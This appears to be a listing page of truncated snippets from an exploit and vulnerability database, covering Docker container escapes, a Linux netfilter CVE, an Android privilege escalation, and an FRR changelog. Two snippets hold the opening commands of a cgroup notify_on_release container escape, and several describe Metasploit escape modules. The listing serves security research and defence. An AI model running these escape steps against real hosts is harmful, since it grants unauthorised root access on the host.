ehir-vuln-enterprise-login

Configurazione locale del portale aziendale Enterprise Questo progetto contiene una configurazione containerizzata locale con un portale frontend e un gateway backend integrato. Struttura del Workspace client/: Contiene i file statici del frontend index.html basati su Bootstrap 5 e il gestore del...

CVE-2022-25636

CVE-2022-25636 Escalation dei privilegi del kernel netfilter toc Panoramica della vulnerabilità ID vulnerabilità: CVE-2022-25636 Prodotto vulnerabile: linux kernel - netfilter Versioni interessate: linux kernel 5.4 Impatto: scrittura heap out-of-bounds nel modulo kernel netfilter, può portare a...

Docker cgroups Container Escape

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Docker cgroups Container Escape', 'Description' = %q This exploit module takes advantage of a Docker image which has either the privileged flag, ...

frr security and bug fix update

8.3.1-11 - Resolves: RHEL-2263 - bgpd: Do not explicitly print MAXTTL value for ebgp-multihop vty output 8.3.1-10 - Related: 2216912 - adding sysadmin to capabilities 8.3.1-9 - Resolves: 2215346 - frr policy does not allow the execution of /usr/sbin/ipsec 8.3.1-8 - Resolves: 2216912 - SELinux is...

Docker Privileged Container Escape

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework POC modified from https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/ class MetasploitModule 'Docker Privileged Container Escape',...

Docker Container Escape

On the host docker run --rm -it --cap-add=SYSADMIN --security-opt apparmor=unconfined ubuntu bash In the container mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 /tmp/cgrp/x/notifyonrelease hostpath=sed -n 's/.\perdir=^,./\1/p' /etc/mtab echo...

Docker - Container Escape

Docker - Container Escape On the host docker run --rm -it --cap-add=SYSADMIN --security-opt apparmor=unconfined ubuntu bash In the container mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 /tmp/cgrp/x/notifyonrelease hostpath=sed -n 's/.\perdir=^,./\1/p'...

Docker Privileged Container Escape

This module escapes from a privileged Docker container and obtains root on the host machine by abusing the Linux cgroup notification on release feature. This exploit should work against any container started with the following flags: --cap-add=SYSADMIN, --privileged. Module Options msf use...

Android - 'zygote->init;' Chain from USB Privilege Escalation

After reporting https://bugs.chromium.org/p/project-zero/issues/detail?id=1583 Android ID 80436257, CVE-2018-9445, I discovered that this issue could also be used to inject code into the context of the zygote. Additionally, I discovered a privilege escalation path from zygote to init; that...